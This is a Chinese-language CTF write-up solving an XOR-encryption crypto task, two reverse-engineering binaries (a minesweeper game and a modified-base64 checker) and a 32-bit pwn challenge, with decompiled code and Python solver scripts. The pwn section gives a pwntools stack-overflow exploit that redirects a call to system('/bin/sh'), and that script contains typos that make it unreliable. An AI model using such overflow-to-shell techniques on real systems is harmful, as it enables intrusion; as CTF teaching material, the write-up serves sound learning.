干货满满的一次ctf

0x01 前言

这是2020年的第一场的ctf比赛，它已经结束两天，虽然好多大学生们都在准备着期末考试，但这个比赛的热度还有持续着呢，由于网络上关于这个比赛的题解，几乎很少或者不太详细，我就整理了一份详细的题解，没有全部记录，舍去了简单题的记录！并且本文中还夹有一些做题技巧，希望帮到大家！

0x02 Crypto1

下载得到 encode.py，fflag.png，fflag_e.png，flag_e.flag 四个文件

我们看下加密脚本encode.py 的内容：

from itertools import *
from key import key


ki= cycle(key)


fr1 = open("flag.png","rb")
fr2 = open("fflag.png","rb")
fw1 = open("flag_e.png","wb")
fw2 = open("fflag_e.png","wb")


for now in fr1:
    for nowByte in now:
        newByte = nowByte ^ ord(next(ki))
        fw1.write(bytes([newByte]))
fr1.close()
fw1.close()


for now in fr2:
    for nowByte in now:
        newByte = nowByte ^ ord(next(ki))
        fw2.write(bytes([newByte]))
fr2.close()
fw2.close()

我们简单分析下加密脚本encode.py：

flag.png的每个字节与迭代器 ki[]中数据循环进行 亦或运算 得到 flag_e.flag fflag.png的每个字节与迭代器 ki[]中数据循环进行 亦或运算 得到fflag_e.png 两个图片的 加密算法 是一样的

 

思路很明确：要得到 flag.png:

现在我们知道 fflag_e.png 和 fflag.png ，所以我们可以反推出 迭代器 ki[] 中的数据。然后 我们再通过 ki[] 和 flag_e.flag 反推出 flag.png

迭代器 ki[]中数据 = fflag.png的每个字节 与fflag_e.png的每个字节 循环进行 亦或运算 flag.png的每个字节 = 迭代器 ki[]中数据 与 flag_e.flag的每个字节 循环进行 亦或运算

我们可以参考它给的 加密脚本encode.py 来写 出解密脚本decode1.py

#coding:utf8


fflag= open("fflag.png","rb")
fflag_e= open("fflag_e.png","rb")
fflag_zijie=[]
fflag_e_zijie=[]
ki=[]
for now in fflag:
    for nowByte in now:
        fflag_zijie.append(nowByte)
#print fflag_zijie
print len(fflag_zijie)#5165
for now in fflag_e:
    for nowByte in now:
        fflag_e_zijie.append(nowByte)
# print fflag_e_zijie
print len(fflag_e_zijie)#5165


for i in range(len(fflag_zijie)):
        ki.append(ord(fflag_zijie[i])^ord(fflag_e_zijie[i]))
#print ki#[65, 108, 105, 116, 97, 95, 105, 115, 95, 115, 111, 95, 99, 117, 116, 101] 循环重复
print len(ki)#5165
fflag.close()
fflag_e.close()
flag= open("flag.png","wb")
flag_e= open("flag_e.png","rb")
flag_e_zijie=[]
for now in flag_e:
    for nowByte in now:# 通过迭代器逐行访问
      flag_e_zijie.append(nowByte)# 通过迭代器逐字符处理
# print flag_e_zijie # 即我们可以得到密钥 key_0=[65,108,105,116,97,95,105,115,95,115,111,95,99,117,116,101]
key_0=[65,108,105,116,97,95,105,115,95,115,111,95,99,117,116,101]
key=''
for i in range(len(key_0)):
  key+=chr(key_0[i])
print key;#Alita_is_so_cute

现在我们得到了密钥 key="Alita_is_so_cute"，通过它生成迭代器 ki，进而反推出 flag.png

#coding:utf8
from itertools import *
flag= open("flag.png","wb")
flag_e= open("flag_e.png","rb")
flag_e_zijie=[]
key="Alita_is_so_cute"
ki=cycle(key)


for now in flag_e:
    for newByte in now:
      newByte=ord(newByte)^ord(next(ki))
      flag.write(bytes(chr(newByte)))


flag.close()
flag_e.close()

运行，即可得到解密后的flag.png 图片 ，查看图片即可

实验学习：CTF-Crypto练习：http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015011915525400001

Crypto是CTF竞赛中的主要题型之一，主要考查密码学相关知识点，CTF-Crypto系列实验覆盖了替换密码、RSA、AES等加密算法，以及中间人攻击、中间相遇攻击等知识点。

0x03 扫雷 mine

我们下载后 得到一个 扫雷游戏的 mine.exe 游戏，打开后

我刚看到这题，蒙了，我的天哪，扫雷啊！这怎么逆向，后来发现不过如此！

首先，这个游戏的玩法和规则是 和我们平时玩的扫雷 游戏一样，

扫雷失败，提示我们 "游戏结束"

猜测，如果我们将 所有类都排出来 便后给我们flag！

然后我们将它拖入ida 中，查看 main函数：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  CONSOLE_SCREEN_BUFFER_INFO csbi; // [rsp+20h] [rbp-30h]
  HANDLE handle_out; // [rsp+38h] [rbp-18h]
  int j_0; // [rsp+40h] [rbp-10h]
  int i_0; // [rsp+44h] [rbp-Ch]
  int j; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]


  _main();
  ::j = 1;
  v3 = __iob_func();
  freopen(&Filename, "r", v3);
  while ( 1 )
  {
    handle_out = GetStdHandle(0xFFFFFFF5);
    GetConsoleScreenBufferInfo(handle_out, &csbi);
    Hide();
    Beginning();
    a = GetTickCount();
    do
    {
      while ( 1 )
      {
        do
        {
          while ( kbhit() == 0 )
          {
            Sleep(0xAu);
LABEL_44:
            b = GetTickCount();
            SetConsoleTextAttribute(handle_out, 4u);
            position(80, 7);
            printf("用时：");                      // 游戏结束！
            if ( b - a <= 0x927BF )
              printf("0");
            printf("%d:", (b - a) / 0xEA60);
            if ( (b - a) / 0x3E8 % 0x3C <= 9 )
              printf("0");
            printf("%d:", (b - a) / 0x3E8 % 0x3C);
            if ( (b - a) / 0xA % 0x64 <= 9 )
              printf("0");
            printf("%d", (b - a) / 0xA % 0x64);
          }
          spare[0] = getch();
        }
        while ( spare[0] != -32 && spare[0] != 13 && spare[0] != 32 );
        if ( spare[0] != 13 )
          goto LABEL_27;
        if ( mode & 1 )
          break;
        if ( map[30 * floatx + floaty] == 64 && !flag[0][30i64 * floatx + floaty] )
          goto LABEL_52;
        if ( flag[0][30i64 * floatx + floaty] != 1 )
        {
          Open();
          position(0, 0);
          SetConsoleTextAttribute(handle_out, 2u);
          for ( i = 0; i <= 29; ++i )
          {
            for ( j = 0; j <= 29; ++j )
              Lump(i, j);
            printf("\n");
          }
          position(2 * floaty, floatx);
          SetConsoleTextAttribute(handle_out, 1u);
          Lump(floatx, floaty);
          goto LABEL_27;
        }
      }
    }
    while ( map[30 * floatx + floaty] == 120 || map[30 * floatx + floaty] > 48 && map[30 * floatx + floaty] <= 56 );
    if ( flag[0][30i64 * floatx + floaty] )
    {
      --flagnum;
      flag[0][30i64 * floatx + floaty] = 0;
    }
    else
    {
      ++flagnum;
      flag[0][30i64 * floatx + floaty] = 1;
    }
    position(2 * floaty, floatx);
    SetConsoleTextAttribute(handle_out, 1u);
    Lump(floatx, floaty);
LABEL_27:
    if ( spare[0] == 32 )
      Mode();
    if ( spare[0] == -32 )
    {
      news = getch();
      Move();
    }
    for ( i_0 = 0; i_0 <= 29; ++i_0 )
    {
      for ( j_0 = 0; j_0 <= 29; ++j_0 )
      {
        if ( map[30 * i_0 + j_0] == 120 || map[30 * i_0 + j_0] > 48 && map[30 * i_0 + j_0] <= 56 )
          ++game;
      }
    }
    if ( game != 601 )
    {
      game = 1;
      SetConsoleTextAttribute(handle_out, 4u);
      position(80, 5);
      printf(&byte_486016, (unsigned int)(300 - flagnum));
      goto LABEL_44;
    }
LABEL_52:                                       // 我们重点注意下  这个 LABEL_52 中的内容
    SetConsoleTextAttribute(handle_out, 4u);
    position(5, 5);
    if ( game == 1 )                            // 关键判断
    {
      printf("游戏结束！");
    }
    else
    {
      re();                      // re()函数  是我们的关键函数   我们跟进去
      Sleep(0x186A0u);
    }
    position(5, 8);
    Sleep(0x3E8u);
    printf("任意键重玩");
    scanf("%c%c", spare, spare);
    system("cls");
    position(0, 0);
  }
}

我们发现，代码量很大，但逆向的是找到我们想要的关键算法，得到目的信息，当然这里我们的目的信息就是 flag 了，我们根据字符串 "游戏结束" 定位到 main函数几乎最下面的 LABEL_52 部分

LABEL_52:                                       // 我们重点注意下  这个 LABEL_52 中的内容
    SetConsoleTextAttribute(handle_out, 4u);
    position(5, 5);
    if ( game == 1 )                            // 关键判断
    {
      printf("游戏结束！");
    }
    else
    {
      re();                     // re()函数  是我们的关键函数   我们跟进去
      Sleep(0x186A0u);
    }
    position(5, 8);
    Sleep(0x3E8u);
    printf("任意键重玩");
    scanf("%c%c", spare, spare);
    system("cls");
    position(0, 0);
  }
}

根据注释中的关键 判断 进而 得知 re()函数 是我们的关键函数 我们跟进去

void __cdecl re()
{
  int k_0; // [rsp+20h] [rbp-10h]
  int i_0; // [rsp+24h] [rbp-Ch]
  int k; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]
  if ( game == 601 )                       // 如果扫除的雷（应该是） =601
  {
    for ( i = 0; i <= 37; ++i )            // 对 数组 flaga[i]  进行以下  运算
    {
      flaga[i] -= j++;
      if ( j == 4 )
        j = 0;
    }
    for ( k = 0; k <= 37; ++k )                 // 输出 flag
      printf("%c", (unsigned int)flaga[k]);
    printf(" ");
  }
  else                                     // 如果扫除的 雷（应该是）！=601
  {                                     // 对 数组 flagb[i]  进行以下  运算
    for ( i_0 = 0; i_0 <= 46; ++i_0 )
    {
      flagb[i_0] -= j++;
      if ( j == 4 )
        j = 0;
    }
    for ( k_0 = 0; k_0 <= 46; ++k_0 )           // 输出
      printf("%c", (unsigned int)flagb[k_0]);
    printf(" ");
  }
}

真的是要我们自己玩通关的话，其实，也是可以出现flag的，但是 30*30 的扫雷，简直超级难扫除完，于是我们根据re()函数中 的 python 脚本去 将 flag 跑出来！

#coding:utf8
j=1
flaga=[0x67,0x6e,0x64,0x67,0x7c,0x67,0x34,0x30,0x62,0x66,0x66,0x33,0x3a,0x36,0x3c,0x62,0x62,0x37,0x3c,0x61,0x63,0x64,0x68,0x35,0x37,0x67,0x33,0x35,0x38,0x68,0x35,0x30,0x67,0x3a,0x3b,0x33,0x66,0x7f,0x26]
for i in range(38):
  flaga[i]-=j
  j=j+1
  if j==4:
    j=0
print flaga
flagaa=""
for i in range(38):
  flagaa+=chr(flaga[i])
print flagaa   #运行便得到flag{e10adc3949ba59abbe56e057f20f883e}

0x04 反编译不准确，就看汇编

问：这里我想大家可能会有个疑问，在re()函数中并没有对 j 赋值，所以我 python中的 j=1是如何来的？

答：这里其实是因为 ida 中 的反编译 并不是 完全 完美的，会有一些 瑕疵，但一般出现反编译后的信息 不太准确时，我们就要去从汇编层面去看：

于是，得到 j 初值 为 1

0x05 idc 脚本 dump ida 中数据

我想这个，当然更多对 初学者而言，是最想知道的，因为我最初学逆向的时候，不会dump ida中的数据，简直很让人抓狂！

我详细来记录下如何dump 数据，这里我选择 idc 脚本,就拿此题举例吧，

if ( game == 601 )                      // 如果   扫除的 雷（应该是） =601
  {
    for ( i = 0; i <= 37; ++i )                 // 对 数组 flaga[i]  进行以下运算
    {
      flaga[i] -= j++;
      if ( j == 4 )
        j = 0;
    }
    for ( k = 0; k <= 37; ++k )                 // 输出 flag
      printf("%c", (unsigned int)flaga[k]);
    printf(" ");
  }

我们要对数组 flaga[i] 进行运算，首先得要知道数组flaga[i]数据是什么，双击flaga：

然后我们在 ida 菜单栏 点击 File->Script Command,打开命令行窗口

我们第一步：选择idc，接着再写脚本，最后 Run

输出得结果：在ida中得Output 显示

auto i,start,end;
start = 0x471020;
end = 0x4710BC;
Message("\n---------\n");
for(i=start;i

当然，如果想要了解更多，可以百度 搜索 ” IDC脚本  “

实验学习：CTF-REVERSE练习之逆向初探

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014111410002900001（通过具体的实例介绍Ollydbg/IDA Pro/PEiD等工具在逆向分析中的基本使用方法，考察选手的逆向分析与调试能力。）

0x06 hijack

这道题，难度其实挺大，大概就十多个人做了出来！详细说下这题，希望可以帮到大家！内容较多，请详细看代码中注释。

首先下载下来发现是：64位得elf 程序，简单运行下 ,他让我们输入 flag ，随便输入，不符合要求，返回我们 "Wrong try again!"

 

~/桌面/yuandan/hijack$ ./hijack

please input flag
ziseyangwang
Wrong try again!
~/桌面/yuandan/hijack$


我们将他拖入ida，看main 函数：
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // ST0C_4
  char s; // [rsp+10h] [rbp-70h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]


  v6 = __readfsqword(0x28u);
  memset(&s, 0, 0x64uLL);
  memset(::s, 0, 0x64uLL);
  puts("please input flag");
  __isoc99_scanf("%60s", &s);            //输入
  v3 = strlen(&s);
  sub_401320(::s, (__int64)&s, v3);
  return 0LL;
}

主函数得程序逻辑，很简单 ，让我们输入 字符串，然后进入 函数sub_401320（）中：我们双击进去观察：

signed __int64 __fastcall sub_401320(_BYTE *a1, __int64 a2, int a3)
{
  _BYTE *v3; // rax
  _BYTE *v4; // ST20_8
  _BYTE *v5; // rax
  _BYTE *v6; // rax
  _BYTE *v7; // rax
  _BYTE *v8; // rax
  _BYTE *v9; // rax
  _BYTE *v10; // rax
  int i; // [rsp+18h] [rbp-Ch]
  _BYTE *v13; // [rsp+1Ch] [rbp-8h]
  _BYTE *v14; // [rsp+1Ch] [rbp-8h]
  signed __int64 v15; // [rsp+1Ch] [rbp-8h]


  v13 = a1;
  for ( i = 0; i < a3 - 2; i += 3 )
  {
    v3 = v13;
    v4 = v13 + 1;
    *v3 = (*(_BYTE *)(i + a2) >> 2) + 48;
    v5 = v4++;
    *v5 = (16 * *(_BYTE *)(i + a2) & 0x30 | (*(_BYTE *)(i + 1LL + a2) >> 4) & 0xF) + 48;
    *v4 = (4 * *(_BYTE *)(i + 1LL + a2) & 0x3C | (*(_BYTE *)(i + 2LL + a2) >> 6) & 3) + 48;
    v6 = v4 + 1;
    v13 = v4 + 2;
    *v6 = (*(_BYTE *)(i + 2LL + a2) & 0x3F) + 48;
  }
  if ( i < a3 )
  {
    v7 = v13;
    v14 = v13 + 1;
    *v7 = (*(_BYTE *)(i + a2) >> 2) + 48;
    if ( i == a3 - 1 )
    {
      *v14 = (16 * *(_BYTE *)(i + a2) & 0x30) + 48;
      v8 = v14 + 1;
      v15 = (signed __int64)(v14 + 2);
      *v8 = 32;
    }
    else
    {
      *v14 = (16 * *(_BYTE *)(i + a2) & 0x30 | (*(_BYTE *)(i + 1LL + a2) >> 4) & 0xF) + 48;
      v9 = v14 + 1;
      v15 = (signed __int64)(v14 + 2);
      *v9 = (4 * *(_BYTE *)(i + 1LL + a2) & 0x3C) + 48;
    }
    v10 = (_BYTE *)v15;
    v13 = (_BYTE *)(v15 + 1);
    *v10 = 32;
  }
  *v13 = 0;
  return v13 + 1 - a1;
}

无敌像是  base64  加密函数呐， 当然，这件简单 说下base加密 过程

1. 首先将原str按每三个字节 分组，每个分组 3* 8 =24 位，进而得到str的所有 24 个二进位组成的  二进制位

2. 然后将上面的 二进制位 按每6位再分成1组，3个字节可分为 4组

3. 每组 就6 位，在前面给他们都补上两个 0 ，便是3个字节可成功 加密成 4个字节

 

如果想要详细地了解base64加密编码 可以在网上搜索下，或者在合天网安实验室学习，地址：

http://www.hetianlab.com/expc.do?ec=ECIDca55-efe6-43f7-997d-08d916955fc9

我们来看下这个base64加密函数，发现它并不是简单，我们在程序中找不到 table表，它采用了动态生成的方式，

我们再继续向下看，发现魔改的 base64 加密结束后，我们继续回到我们的主函数，发现程序结束了，和我们最初运行程序的 逻辑 不一致啊！我们字符串中也找不到关键字符串"Wrong try again!"

我们再ida 函数栏，函数并不太多 ，我们去找下有用信息：

sub_401216() ：


void sub_401216()
{
  if ( (signed int)sub_4011A6() >= 0 )
    srand(0x21436587u);
  else
    srand(0x12345678u);     //动态调试  srand 种子为其实是 0x12345678
}


sub_401250()函数：


void sub_401250()
{
  signed int i; // [rsp+8h] [rbp-8h] //当种子 为 0x12345678  动态调试查看或者 写脚本
                            //   可得到 经过此函数中的运算：
                            //   byte_404080[16]=[66, 250, 204, 150, 144, 70, 112, 123, 93, 54, 128, 212, 10, 125, 248, 62]
                            //   byte_4040A0[16]=[146, 201, 52, 157, 186, 206, 146, 74, 233, 193, 214, 214, 166, 34, 76, 213]
                           
  signed int j; // [rsp+Ch] [rbp-4h]


  for ( i = 0; i <= 15; ++i )
    byte_404080[i] ^= rand() % 255;
  for ( j = 0; j <= 15; ++j )
    byte_4040A0[j] ^= rand() % 255;
}


sub_401738()函数：
int sub_401738()
{
  size_t v0; // rax
  int result; // eax


  v0 = strlen(s);
  if ( !memcmp(s, &unk_4040C0, v0) )
    result = printf("%s", byte_404080);
  else
    result = printf("%s", byte_4040A0);
  return result;
}

函数中的 memcmp函数 看起来很像我们 最终的 check 函数，这个操作真的厉害了，不动态的话，还以为  memcmp 函数 是 动态库中  的呢，动态调试发现，其实它是自定义的函数，即sub_401557（）

// 经过调试 我们可以知道 
// a1  是我们 输入字符串经过魔改后 base加密后 的字符串
// a3  是 我们输入字符串经过魔改base64加密后的长度
// a2  是unk_4040C0中的 数组[56]
signed __int64 __fastcall sub_401557(const char *a1, const char *a2, unsigned int a3)
{
  char v4; // bl
  unsigned int v5; // [rsp+Ch] [rbp-A4h]
  unsigned int i; // [rsp+28h] [rbp-88h]
  unsigned int j; // [rsp+2Ch] [rbp-84h]
  __int64 v8; // [rsp+30h] [rbp-80h]
  __int64 v9; // [rsp+38h] [rbp-78h]
  __int64 v10; // [rsp+40h] [rbp-70h]
  __int64 v11; // [rsp+48h] [rbp-68h]
  __int64 v12; // [rsp+50h] [rbp-60h]
  __int64 v13; // [rsp+58h] [rbp-58h]
  __int64 v14; // [rsp+60h] [rbp-50h]
  __int64 v15; // [rsp+68h] [rbp-48h]
  __int64 v16; // [rsp+70h] [rbp-40h]
  __int64 v17; // [rsp+78h] [rbp-38h]
  __int64 v18; // [rsp+80h] [rbp-30h]
  __int64 v19; // [rsp+88h] [rbp-28h]
  int v20; // [rsp+90h] [rbp-20h]
  unsigned __int64 v21; // [rsp+98h] [rbp-18h]


  v5 = a3;
  v21 = __readfsqword(0x28u);
  if ( strlen(a1) != a3 || strlen(a2) != v5 )   // a2的长度是56，可以知道输入的字符串 一定是 42 位
    return 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0;
  memset(&v8, 0, 0x64uLL);
  for ( i = 0; v5 > i; ++i )                    // 循环  56 次
  {
    v4 = a2[i];
    *((_BYTE *)&v8 + (signed int)i) = v4 ^ rand() % 200;// 随机数种子是 0x12345678
  }
  for ( j = 0; v5 > j; ++j )
  {
    if ( *((_BYTE *)&v8 + (signed int)j) != a1[j] )
      return 0LL;
  }
  return 1LL;
}

经过我们静态分析和动态调试，发现程序的执行流程 是这样的

首先程序 从 0x12345678  和 0x21436587  选择了前者 作为随机数种子

然后 我们输入字符串 flag

程序对其进行 魔改的base64 加密  得到 flag_encode 字符串

flag_encode 字符串再与  经过运算后的unk_4040C0[56]  作比较要相等才可以

 

所以，我们我们要想获得flag，首先要得到经过运算后的unk_4040C0[56]，然后进行  魔改的base64 解密即可

首先我们来得到 运算后的unk_4040C0[56]  的数据是怎么样的

#coding:utf8
from ctypes import *
libc=cdll.LoadLibrary("./libc.so.6")
libc.srand(0x21436587)                          # 所以，这题我们 我们得选择 程序没有选择的 随机数种子  0x21436587
#libc.srand(0x12345678)                         #因为 随机数种子为 0x12345678 的时候 最后求得 运算后的unk_4040C0[56] 为乱码
#下面注释中的  数据  都是 以随机数种子为 0x12345678 求得的 
byte_404080=[0x0A, 0x16, 0x4A, 0x66, 0xF0, 0x2C, 0x5A, 0xE0, 0x0D, 0xEF,0xBB, 0xC1, 0xD5, 0x9C, 0x8F,0x81]
for i in range(16):
    n=libc.rand()%255
    byte_404080[i]=byte_404080[i]^n
print byte_404080#[66, 250, 204, 150, 144, 70, 112, 123, 93, 54, 128, 212, 10, 125, 248, 62]


byte_4040A0=[0x76, 0xF8, 0x19, 0xEA, 0xF3, 0x95, 0xDE, 0x26, 0xC5, 0xAD, 0x0C, 0x58, 0x68, 0x01, 0xBC, 0xC2]
for i in range(16):
    n=libc.rand()%255
    byte_4040A0[i]=byte_4040A0[i]^n
print byte_4040A0#[146, 201, 52, 157, 186, 206, 146, 74, 233, 193, 214, 214, 166, 34, 76, 213]


a2=[0xE8, 0x05, 0x4E, 0xF1, 0xF8, 0xFC, 0x5D, 0xD0, 0x06, 0x3D, 
  0x48, 0xC1, 0xE0, 0xF8, 0x11, 0xFB, 0xED, 0x0D, 0xD6, 0xD9, 
  0x60, 0x1A, 0xC5, 0x2A, 0xF2, 0xA3, 0xC2, 0x24, 0x41, 0x46, 
  0xF2, 0xC0, 0x0B, 0x10, 0x2E, 0xF6, 0x6A, 0xAC, 0x30, 0x03, 
  0x81, 0x1B, 0x41, 0xC6, 0x79, 0x63, 0xBE, 0x9E, 0xD5, 0x20, 
  0x1F, 0xC1, 0xFE, 0x51, 0x02, 0xE1]                       #这里a2  即是unk_4040C0[56] 原来的数据
v8=''


for i in range(56):
    v8+=chr(a2[i]^libc.rand()%200)
print v8                               #v8   为运算后的unk_4040C0[56]
                                       #随机数种子0x214365
# v8="I31OKTmdGf@cHUEWGdddGbI^I5mVBFMe=fEO<7EdGfPaJV53JemWCg@Q"

最后我们再对  v8 进行 魔改 base 解密即可，我把上面的图，放在这方便查看：

这个魔改base64 并没有像正常的base64 去查表，而是在取6位之后 +48 即"0", 当然 也相当于 查表

我们在在写解密脚本的时候需要在 先将 v8 中的数据都先 - 48 即‘0’ 得到

"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"表中的下标，通过下找到的table中的值就是正确的base64编码，然后再解码就是flag了

所以 python 脚本 这样写：

import base64
v8 = 'I31OKTmdGf@cHUEWGdddGbI^I5mVBFMe=fEO<7EdGfPaJV53JemWCg@Q'
print len(v8)#56
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = ''


for i in range(56):
    flag += table[ord(v8[i])-48]


flag = base64.b64decode(flag)
print flag
于是    得到  falg：d0_nOt_d3bUg_M4_&nd_fIgu7e_0ut_h1jaCk_gOt!

0x07 pwn_arg

首先 ，我们查看下 它的文件属性和开启了什么保护

~/桌面/yuandan/arg$ file arg
arg: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, 
for GNU/Linux 2.6.32, BuildID[sha1]=5ee08f2d1ba1c9bd7a5290db45978a949d7179ab, not stripped
~/桌面/yuandan/arg$ checksec arg
[*] '/home/ziseyangwang/\xe6\xa1\x8c\xe9\x9d\xa2/yuandan/arg/arg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
PIE:      No PIE (0x8048000)


32位的elf 程序，仅开启了  NX 保护
 拖入ida 查看：
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();//初始化
  return checker(305419896);
}


我们进去checker(305419896) 函数 中：
int __cdecl checker(int a1)
{
  char buf; // [esp+Eh] [ebp-3Ah]
  char name[4]; // [esp+2Ch] [ebp-1Ch]
  char *s; // [esp+34h] [ebp-14h]
  int (__cdecl *v5)(int); // [esp+38h] [ebp-10h]
  int v6; // [esp+3Ch] [ebp-Ch]


  v6 = 8;
  strcpy(name, "malloc");  //给局部变量 name 赋初值 "malloc"
  printf("your input : ");
  read(0, &buf, 0x4Au); //这里明显存在 栈溢出漏洞  0x4A > 0x3A
  strncpy(st, &buf, 8u);//将我们的输入的前8个字符赋值给全局变量st
  v5 = (int (__cdecl *)(int))load(name);//v5=malloc()
  if ( a1 != 0xDEADBEEF )
    return puts("Think about it ");
  s = (char *)v5(v6);         //malloc(v6)
  __isoc99_scanf("%s", s);
  return puts(s);
}

全局变量st：

在这之前  我们要了解下 v5 = (int (__cdecl *)(int))load(name);

void *__cdecl load(char *name)
{
  char *v1; // eax
  void *handle; // [esp+8h] [ebp-10h]
  void *v4; // [esp+Ch] [ebp-Ch]


  handle = dlopen("/lib32/libc.so.6", 258);
  if ( !handle )
  {
    v1 = dlerror();
    printf("dlopen - %s\n", v1);
    exit(0);
  }
  v4 = dlsym(handle, name);
  if ( !v4 )
  {
    puts("Can't load function");
    exit(0);
  }
  dlclose(handle);
  return v4;
}

这里的 load 函数，它是根据传入的参数 字符串name 进而找到的libc库中的函数地址 然后返回给了v5，

我们来分析下 怎么 pwn 掉这个程序? 执行 system('/bin/sh') 。

程序中的 read 函数 存在 栈溢出漏洞，buf 离ebp距离 为0x3A，但我们却可以读入 0x4A 的数据，虽然可以溢出，但溢出去的长度太有限，于是我们考虑下 从 load(name) 函数 入手！

构造payload：

1. system 是 libc 中 的函数，我们 将局部变量name 覆盖为 system 

2. 我们将 v6 覆盖为 /bin/sh 所在的地址，即 st 地址

3. 全局变量st = payload 前 8个字符，paylaod前八个字符为 /bin/sh\x00

4. 当参数 a1为 0xDEADBEEF  时 才会 执行 v5(v6) ，所以我们还要将 参数 a1 覆盖为 0xDEADBEEF！   

详见下图：

所以 payload 为
payload="/bin/sh\x00".ljust(0x1e,"\x00")+"system\x00" #0x3a-0x1c
payload=payload.ljust(0x2e,"\x00")+p32(st_addr) #因为程序是32 位程序
payload=payload.0ljust(0x3e,"\x00") #ebp
payload+=p32(0) #返回地址
paylaod+=p32(0xdeadbeef) #参数 1

python脚本 如下：
#coding:utf8
from pwn import *
conn=process(./arg)


payload="/bin/sh\x00".ljust(0x1e,"a")+"system\x00"    #0x3a-0x1c
payload=payload.ljust(0x2e,"a")+p32(st_addr)      #因为程序是32 位程序
payload=payload.0ljust(0x3e,"a")  #ebp
payload+=p32(0)          #返回地址
paylaod+=p32(0xdeadbeef)    #参数 1


conn.recvuntil("your input : ")
conn.sendline(payload)
conn.interactive()

实验学习：CTF-PWN进阶训练

http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015111814415800001

旨在帮助CTF初学者快速掌握复杂PWN题型的基本解题思路与技巧，包括溢出模型、信息泄露、ROP等

0x08 后记

我也想上年度评优作品啊！！！

希望本文能给大家带来帮助！ 合天网安实验室挺好的，可以去看看呐!

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱：[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧！

点击阅读原文还能学习哦！

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦！